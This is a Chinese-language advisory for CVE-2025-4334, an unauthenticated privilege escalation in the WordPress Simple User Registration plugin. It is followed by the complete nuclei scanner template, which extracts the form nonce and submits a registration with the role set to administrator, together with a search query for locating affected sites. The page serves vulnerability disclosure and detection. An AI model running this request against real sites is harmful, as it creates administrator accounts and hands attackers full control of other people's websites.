Simple User Registration 权限提升漏洞

漏洞信息

漏洞名称： Simple User Registration 权限提升漏洞

漏洞编号：

  • CVE： CVE-2025-4334

漏洞类型： 权限提升

漏洞等级： 严重

漏洞描述： Simple User Registration是一个WordPress插件，用于简化用户注册流程。它广泛应用于需要用户注册功能的WordPress网站中，特别是在企业级服务和社区网站中。该插件在版本6.3及之前存在一个严重的权限提升漏洞。漏洞的根源在于插件在用户注册过程中对用户元值的限制不足，导致未经认证的攻击者可以通过构造特定的注册请求，将自身注册为管理员。这种漏洞的技术类型属于权限提升，具体表现为缺乏对用户角色的适当验证和限制。攻击者利用此漏洞可以完全控制受影响的WordPress网站，执行任意代码，访问敏感数据，甚至可能进一步攻击网站的其他用户或服务器。由于该漏洞不需要任何认证即可利用，且攻击过程可以自动化，因此其安全风险极高。建议所有使用该插件的网站管理员立即更新到最新版本，或在不必要的情况下移除该插件。

产品厂商： lifeisincredible

产品名称： Simple User Registration

影响版本： <= 6.3

搜索语法： http.component:”wordpress” && http.html:”/wp-content/plugins/simple-user-registration/“

来源： https://github.com/projectdiscovery/nuclei-templates/blob/c753003573176aba08d5001eaf257ddba564dde2/http%2Fcves%2F2025%2FCVE-2025-4334.yaml

类型： projectdiscovery/nuclei-templates:github issues

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id: CVE-2025-4334

info:
  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
  reference:
    - https://github.com/Nxploited/CVE-2025-4334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4334
    cwe-id: CWE-269
  impact: |
    An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
  remediation: |
    Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
  metadata:
    verified: true
    max-request: 2
    vendor: lifeisincredible
    product: simple-user-registration
    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration


variables:
  username: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 417

        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "WPR Register")
          - contains(body_2, "user_id")
          - contains(body_2, "Registration Done")
        condition: and

    extractors:
      - type: regex
        internal: true
        group: 1
        name: wpr_nonce
        part: body
        regex:
          - 'name="wpr_nonce" value="([a-f0-9]+)"'

      - type: regex
        internal: true
        group: 1
        name: wpr_form_id
        part: body
        regex:
          - 'name="wpr_form_id" value="([0-9]+)"'